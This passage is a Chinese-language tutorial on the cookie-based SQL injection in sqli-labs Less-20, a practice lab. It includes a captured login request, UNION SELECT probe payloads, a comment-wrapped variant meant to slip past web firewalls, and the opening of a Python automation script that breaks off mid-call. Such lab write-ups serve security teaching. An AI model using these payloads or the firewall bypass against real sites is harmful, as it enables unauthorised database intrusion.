1. sqli-labs Less-20 Cookie注入实战解析
在Web安全测试中,Cookie注入是一种常被忽视但危害极大的漏洞类型。与常规的GET/POST参数注入不同,Cookie注入往往能绕过前端验证直接攻击后端数据库。本文将详细拆解sqli-labs第20关的Cookie注入过程,并分享我在实际渗透测试中的自动化技巧。
1.1 环境准备与目标分析
首先需要搭建sqli-labs靶场环境(建议使用Docker快速部署)。第20关是一个典型的基于Cookie的二次注入场景,其特殊之处在于:
- 登录验证通过后,服务端会将用户名存储在Cookie中
- 后续页面直接从Cookie读取数据而未做过滤
- 数据库查询使用拼接方式而非预处理语句
使用Burp Suite拦截登录请求可见:
code复制POST /Less-20/index.php HTTP/1.1
...
uname=Dumb&passwd=Dumb
HTTP/1.1 302 Found
Set-Cookie: uname=Dumb
1.2 注入点探测技巧
常规的测试方法是通过布尔盲注判断,但本关存在更高效的联合注入方式。关键步骤:
- 先使用正确凭证登录获取有效Cookie
- 修改Cookie值观察回显变化
- 通过报错信息确定字段数
我常用的探测payload:
sql复制' union select null,null,null --
逐步增加null数量直到页面正常显示,本关确认有3个字段。
实战经验:现代WAF通常会拦截union select,可尝试以下变形:
sql复制/*!50000union*/ select 1,2,3 --
2. 自动化注入实现方案
2.1 工具链配置
推荐使用Python+Requests库实现自动化:
python复制import requests
target = "http://target/Less-20/"
session = requests.Session()
# 首次登录获取Cookie
login_data = {"uname":"Dumb", "passwd":"Dumb"}
session.post(
